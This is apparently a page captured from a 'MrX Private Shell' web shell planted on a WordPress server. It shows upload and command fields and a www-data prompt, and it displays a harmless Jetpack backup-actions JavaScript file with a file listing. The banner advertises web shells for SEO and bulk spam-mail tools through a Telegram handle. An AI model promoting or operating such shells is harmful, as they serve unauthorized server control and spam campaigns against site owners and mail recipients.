__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.28: ~ $
import apiFetch from '@wordpress/api-fetch';
import {
	SITE_BACKUP_SIZE_GET,
	SITE_BACKUP_SIZE_GET_FAILED,
	SITE_BACKUP_SIZE_GET_SUCCESS,
	SITE_BACKUP_POLICIES_GET,
	SITE_BACKUP_POLICIES_GET_FAILED,
	SITE_BACKUP_POLICIES_GET_SUCCESS,
	SITE_BACKUP_STORAGE_SET,
	SITE_BACKUP_STORAGE_ADDON_OFFER_SET,
} from './types';

const getSiteSize =
	() =>
	( { dispatch } ) => {
		dispatch( { type: SITE_BACKUP_SIZE_GET } );

		apiFetch( { path: '/jetpack/v4/site/backup/size' } ).then(
			res => {
				if ( ! res.ok ) {
					dispatch( { type: SITE_BACKUP_SIZE_GET_FAILED } );
					return;
				}

				const payload = {
					size: res.size,
					lastBackupSize: res.last_backup_size,
					minDaysOfBackupsAllowed: res.min_days_of_backups_allowed,
					daysOfBackupsAllowed: res.days_of_backups_allowed,
					daysOfBackupsSaved: res.days_of_backups_saved,
					retentionDays: res.retention_days,
				};

				dispatch( { type: SITE_BACKUP_SIZE_GET_SUCCESS, payload } );
			},
			() => {
				dispatch( { type: SITE_BACKUP_SIZE_GET_FAILED } );
			}
		);
	};

const getSitePolicies =
	() =>
	( { dispatch } ) => {
		dispatch( { type: SITE_BACKUP_POLICIES_GET } );

		apiFetch( { path: '/jetpack/v4/site/backup/policies' } ).then(
			res => {
				const payload = {
					activityLogLimitDays: res.policies?.activity_log_limit_days ?? null,
					storageLimitBytes: res.policies?.storage_limit_bytes ?? null,
				};

				dispatch( { type: SITE_BACKUP_POLICIES_GET_SUCCESS, payload } );
			},
			() => {
				dispatch( { type: SITE_BACKUP_POLICIES_GET_FAILED } );
			}
		);
	};

const setStorageUsageLevel =
	usageLevel =>
	( { dispatch } ) => {
		dispatch( {
			type: SITE_BACKUP_STORAGE_SET,
			usageLevel,
		} );
	};

const setAddonStorageOfferSlug =
	addonSlug =>
	( { dispatch } ) => {
		dispatch( {
			type: SITE_BACKUP_STORAGE_ADDON_OFFER_SET,
			addonOfferSlug: addonSlug,
		} );
	};

const actions = {
	getSiteSize,
	getSitePolicies,
	setStorageUsageLevel,
	setAddonStorageOfferSlug,
};

export default actions;

Filemanager

Name Type Size Permission Actions
test Folder 0755
index.js File 1.95 KB 0644
types.js File 600 B 0644
Filemanager